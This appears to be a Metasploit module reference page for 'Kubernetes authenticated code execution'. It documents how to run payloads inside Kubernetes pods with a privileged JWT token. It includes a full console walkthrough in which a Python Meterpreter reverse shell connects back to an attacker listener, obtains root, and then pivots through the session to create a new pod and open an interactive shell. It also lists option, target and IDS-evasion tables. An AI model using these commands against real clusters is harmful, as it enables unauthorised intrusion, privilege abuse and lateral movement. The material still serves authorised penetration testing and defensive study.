Kubernetes authenticated code execution - Metasploit


This page contains detailed information about how to use the exploit/multi/kubernetes/exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Kubernetes authenticated code execution
Module: exploit/multi/kubernetes/exec
Source code: modules/exploits/multi/kubernetes/exec.rb
Disclosure date: 2021-10-01
Last modification time: 2021-11-05 10:35:22 +0000
Supported architecture(s): -
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

Execute a payload within a Kubernetes pod.

Module Ranking and Traits


Module Ranking:

  • manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
  • config-changes: Module modifies some configuration setting on the target machine.
  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


msf > use exploit/multi/kubernetes/exec
msf exploit(exec) > exploit

Knowledge Base


Vulnerable Application


Description

Execute a payload within a Kubernetes pod.

Verification Steps


  1. Start msfconsole
  2. Do: use exploit/multi/kubernetes/exec
  3. Set the required options
  4. Do: run
  5. You should get a shell.

Options


SESSION

An optional session to use for configuration. When specified, the values of NAMESPACE, TOKEN, RHOSTS and RPORT will be gathered from the session host. This requires that the session be on an existing Kubernetes pod. The necessary values may not always be present.

Setting this option will also automatically route connections through the specified session.

TOKEN

The JWT token. The token with the necessary privileges to access the exec endpoint within a running pod and optionally create a new pod.

POD

The pod name to execute in. When not specified, a new pod will be created with an entrypoint that allows it to run forever. After creation, the pod will be used to execute the payload. The created pod is not automatically cleaned up. A note containing the created pod's information will be added to the database when it is connected.

NAMESPACE

The Kubernetes namespace that the TOKEN has permissions for and that POD either exists in or should be created in.

SHELL

The shell to use for execution. bash is likely preferred from a usability perspective, but is not present as often as sh is.

PodName

This is an advanced option.

The image from which to create the pod. When a new pod is created (POD is blank), this option can be used to specify the image that is used. If this option is blank, each image will be tried from the list of running pods until one successfully starts.

TARGET

Interactive WebSocket


Communicate directly with the pod using the Kubernetes WebSocket API. This is the most similar option to the kubectl exec --stdin --tty command. No Metasploit payload is transferred to the target.

Unix Command

Run the specified command payload and read the output. Custom commands can be run with the cmd/unix/generic payload.

Linux Dropper

Use a command stager to transfer a Metasploit payload to the target and execute it. This will result in the payload being written to disk and will require potentially non-standard binaries to be present on the remote system, depending on the selected CMDSTAGER::FLAVOR option.

Python

Run a Python payload on the remote host. This technique will automatically find and use either a python, python3, or python2 binary on the remote system to use for execution.

Scenarios


Kubernetes v1.22.1

In this scenario, Metasploit has direct access to the Kubernetes API. A known token is used to execute a Python payload within the thinkphp-67f7c88cc9-tgpfh pod.

msf6 > use exploit/multi/kubernetes/exec 
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/kubernetes/exec) > set TOKEN eyJhbGciOiJSUzI1...
TOKEN => eyJhbGciOiJSUzI1...
msf6 exploit(multi/kubernetes/exec) > set POD thinkphp-67f7c88cc9-tgpfh
POD => thinkphp-67f7c88cc9-tgpfh
msf6 exploit(multi/kubernetes/exec) > set RHOSTS 192.168.159.31
RHOSTS => 192.168.159.31
msf6 exploit(multi/kubernetes/exec) > set TARGET Python 
TARGET => Python
msf6 exploit(multi/kubernetes/exec) > set PAYLOAD python/meterpreter/reverse_tcp
PAYLOAD => python/meterpreter/reverse_tcp
msf6 exploit(multi/kubernetes/exec) > run

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Sending stage (39736 bytes) to 192.168.159.31
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.31:59234) at 2021-10-01 09:55:00 -0400

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : thinkphp-67f7c88cc9-tgpfh
OS           : Linux 5.4.0-88-generic #99-Ubuntu SMP Thu Sep 23 17:29:00 UTC 2021
Architecture : x64
Meterpreter  : python/linux
meterpreter > background 
[*] Backgrounding session 1...
msf6 exploit(multi/kubernetes/exec) >

Next, the compromised session is used to access the internal Kubernetes endpoint, create a new pod and open a shell directly via a WebSocket.

msf6 exploit(multi/kubernetes/exec) > set TARGET Interactive\ WebSocket
TARGET => Interactive WebSocket
msf6 exploit(multi/kubernetes/exec) > run RHOST="" RPORT="" POD="" SESSION=-1

[*] Routing traffic through session: 1
[+] Kubernetes service host: 10.96.0.1:443
[*] Using image: busybox
[+] Pod created: burhgvzc
[*] Waiting for the pod to be ready...
[+] Successfully established the WebSocket
[*] Found shell.
[*] Command shell session 2 opened (172.17.0.31:59437 -> 10.96.0.1:443) at 2021-10-01 10:05:57 -0400

id
uid=0(root) gid=0(root) groups=10(wheel)
pwd
/

Go back to menu.

Msfconsole Usage


Here is how the multi/kubernetes/exec exploit module looks in the msfconsole:

msf6 > use exploit/multi/kubernetes/exec

[*] Using configured payload cmd/unix/interact
msf6 exploit(multi/kubernetes/exec) > show info

       Name: Kubernetes authenticated code execution
     Module: exploit/multi/kubernetes/exec
   Platform: Linux, Unix
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2021-10-01

Provided by:
  alanfoster
  Spencer McIntyre

Module side effects:
 artifacts-on-disk
 config-changes
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Interactive WebSocket
  1   Unix Command
  2   Linux Dropper
  3   Python

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  NAMESPACE  default          no        The Kubernetes namespace
  POD                         no        The pod name to execute in
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      no        The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT                       no        The target port (TCP)
  SESSION                     no        An optional session to use for configuration
  SHELL      sh               yes       The shell to use for execution
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  SSL        true             no        Negotiate SSL/TLS for outgoing connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  TOKEN                       no        The JWT token
  URIPATH                     no        The URI to use for this exploit (default is random)
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  Execute a payload within a Kubernetes pod.

Module Options


This is a complete list of options available in the multi/kubernetes/exec exploit:

msf6 exploit(multi/kubernetes/exec) > show options

Module options (exploit/multi/kubernetes/exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   NAMESPACE  default          no        The Kubernetes namespace
   POD                         no        The pod name to execute in
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      no        The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT                       no        The target port (TCP)
   SESSION                     no        An optional session to use for configuration
   SHELL      sh               yes       The shell to use for execution
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TOKEN                       no        The JWT token
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host

Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Exploit target:

   Id  Name
   --  ----
   0   Interactive WebSocket

Advanced Options


Here is a complete list of advanced options supported by the multi/kubernetes/exec exploit:

msf6 exploit(multi/kubernetes/exec) > show advanced

Module advanced options (exploit/multi/kubernetes/exec):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   CMDSTAGER::DECODER                                                          no        The decoder stub to use.
   CMDSTAGER::FLAVOR       auto                                                no        The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vb
                                                                                         s_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_invokewebrequest)
   CMDSTAGER::SSL          false                                               no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                                             no        Writable directory for staged files
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EXE::Custom                                                                 no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                                               no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                                               no        Use the default template in case the specified one is missing
   EXE::Inject             false                                               no        Set to preserve the original EXE function
   EXE::OldMethod          false                                               no        Set to use the substitution EXE generation method.
   EXE::Path                                                                   no        The directory in which to look for the executable template
   EXE::Template                                                               no        The executable template file name.
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   ListenerComm                                                                no        The specific communication channel to use for this service
   MSI::Custom                                                                 no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                                               no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                                   no        The directory in which to look for the msi template
   MSI::Template                                                               no        The msi template file name
   MSI::UAC                false                                               no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   PodImage                                                                    no        The image from which to create the pod
   SSLCipher                                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                               no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted:
                                                                                          Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                               no        Return a robots.txt file if asked for one
   URIHOST                                                                     no        Host to use in URI (useful for tunnels)
   URIPORT                                                                     no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/interact):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/kubernetes/exec module can exploit:

msf6 exploit(multi/kubernetes/exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Interactive WebSocket
   1   Unix Command
   2   Linux Dropper
   3   Python

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/kubernetes/exec exploit:

msf6 exploit(multi/kubernetes/exec) > show payloads

Compatible Payloads
===================

   #  Name                       Disclosure Date  Rank    Check  Description
   -  ----                       ---------------  ----    -----  -----------
   0  payload/cmd/unix/interact                   normal  No     Unix Command, Interact with Established Connection

Evasion Options


Here is the full list of possible evasion options supported by the multi/kubernetes/exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/kubernetes/exec) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

An image could not be found from which to create a pod, set the PodImage option


Here is a relevant code snippet related to the "An image could not be found from which to create a pod, set the PodImage option" error message:

118:	  end
119:	
120:	  def create_pod
121:	    if datastore['PodImage'].blank?
122:	      image_names = @kubernetes_client.list_pods(namespace).fetch(:items, []).flat_map { |pod| pod.dig(:spec, :containers).map { |container| container[:image] } }.uniq
123:	      fail_with(Failure::NotFound, 'An image could not be found from which to create a pod, set the PodImage option') if image_names.empty?
124:	    else
125:	      image_names = [ datastore['PodImage'] ]
126:	    end
127:	
128:	    ready = false

The pod failed to start within the expected timeframe


Here is a relevant code snippet related to the "The pod failed to start within the expected timeframe" error message:

190:	        )
191:	
192:	        break
193:	      end
194:	
195:	      print_error('The pod failed to start within the expected timeframe')
196:	
197:	      begin
198:	        @kubernetes_client.delete_pod(@pod_name, namespace)
199:	      rescue StandardError
200:	        print_error('Failed to delete the pod')

Failed to delete the pod


Here is a relevant code snippet related to the "Failed to delete the pod" error message:

195:	      print_error('The pod failed to start within the expected timeframe')
196:	
197:	      begin
198:	        @kubernetes_client.delete_pod(@pod_name, namespace)
199:	      rescue StandardError
200:	        print_error('Failed to delete the pod')
201:	      end
202:	    end
203:	
204:	    fail_with(Failure::Unknown, 'Failed to create a new pod') unless ready
205:	  end

Failed to create a new pod


Here is a relevant code snippet related to the "Failed to create a new pod" error message:

199:	      rescue StandardError
200:	        print_error('Failed to delete the pod')
201:	      end
202:	    end
203:	
204:	    fail_with(Failure::Unknown, 'Failed to create a new pod') unless ready
205:	  end
206:	
207:	  def exploit
208:	    if session
209:	      print_status("Routing traffic through session: #{session.sid}")

Insufficient Kubernetes access


Here is a relevant code snippet related to the "Insufficient Kubernetes access" error message:

240:	      execute_command(payload.encoded)
241:	    end
242:	  rescue Rex::Proto::Http::WebSocket::ConnectionError => e
243:	    res = e.http_response
244:	    fail_with(Failure::Unreachable, e.message) if res.nil?
245:	    fail_with(Failure::NoAccess, 'Insufficient Kubernetes access') if res.code == 401 || res.code == 403
246:	    fail_with(Failure::Unknown, e.message)
247:	  else
248:	    report_service(host: rhost, port: rport, proto: 'tcp', name: 'kubernetes')
249:	  end
250:	

Failed to execute the command


Here is a relevant code snippet related to the "Failed to execute the command" error message:

267:	    ) do |stdout, stderr|
268:	      print_line(stdout.strip) unless stdout.blank?
269:	      print_line(stderr.strip) unless stderr.blank?
270:	    end
271:	
272:	    fail_with(Failure::Unknown, 'Failed to execute the command') if result.nil?
273:	
274:	    status = result&.dig(:error, 'status')
275:	    fail_with(Failure::Unknown, "Status: #{status || 'Unknown'}") unless status == 'Success'
276:	  end
277:	end

status


Here is a relevant code snippet related to the "status" error message:

267:	    ) do |stdout, stderr|
268:	      print_line(stdout.strip) unless stdout.blank?
269:	      print_line(stderr.strip) unless stderr.blank?
270:	    end
271:	
272:	    fail_with(Failure::Unknown, 'Failed to execute the command') if result.nil?
273:	
274:	    status = result&.dig(:error, 'status')
275:	    fail_with(Failure::Unknown, "Status: #{status || 'Unknown'}") unless status == 'Success'
276:	  end
277:	end

Status: <VALUE>


Here is a relevant code snippet related to the "Status: <VALUE>" error message:

267:	    ) do |stdout, stderr|
268:	      print_line(stdout.strip) unless stdout.blank?
269:	      print_line(stderr.strip) unless stderr.blank?
270:	    end
271:	
272:	    fail_with(Failure::Unknown, 'Failed to execute the command') if result.nil?
273:	
274:	    status = result&.dig(:error, 'status')
275:	    fail_with(Failure::Unknown, "Status: #{status || 'Unknown'}") unless status == 'Success'
276:	  end
277:	end

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • alanfoster
  • Spencer McIntyre

Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.